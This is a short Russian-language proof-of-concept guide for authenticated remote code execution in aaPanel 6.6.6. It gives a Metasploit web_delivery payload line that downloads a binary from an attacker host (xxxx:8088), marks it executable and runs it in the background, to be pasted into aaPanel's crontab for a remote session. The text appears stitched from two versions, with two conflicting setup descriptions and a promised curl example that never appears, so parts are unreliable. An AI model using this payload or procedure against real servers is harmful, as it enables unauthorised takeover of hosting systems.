
aapanel 6.6.6 — (аутентифицированное) удалённое выполнение кода
Чтобы создать этот PoC, я просто установил программное обеспечение с помощью docker-compose
Перейдите в «Software Store», нажмите на любую строку в поле настроек, перехватите запрос, когда вы нажмёте «start/stop/restart», и измените/отредактируйте запрос, чтобы выполнить то, что вам нужно. Вот пример с curl :
Чтобы создать этот PoC, я установил чистую Ubuntu 20.04, затем установил wget + sudo и выполнил этот скрипт wget -O install.sh http://www.aapanel.com/script/install-ubuntu_6.0_en.sh && sudo bash install.sh
Прежде всего, настройте параметры web_delivery — это создаст полезную нагрузку и прослушиватель.

Теперь запустите его

это создаст следующую полезную нагрузку:
wget -qO wt8v00sC --no-check-certificate http://xxxx:8088/gUVn1orp; chmod +x wt8v00sC; ./wt8v00sC& disown
Затем скопируйте/вставьте это в script content меню crontab в aapanel.

Теперь просто выполните свой crontab и дождитесь своей сессии.

Просто запустите msfconsole -r aapanel.rc, скопируйте/вставьте полезную нагрузку в раздел script content и наслаждайтесь сессией.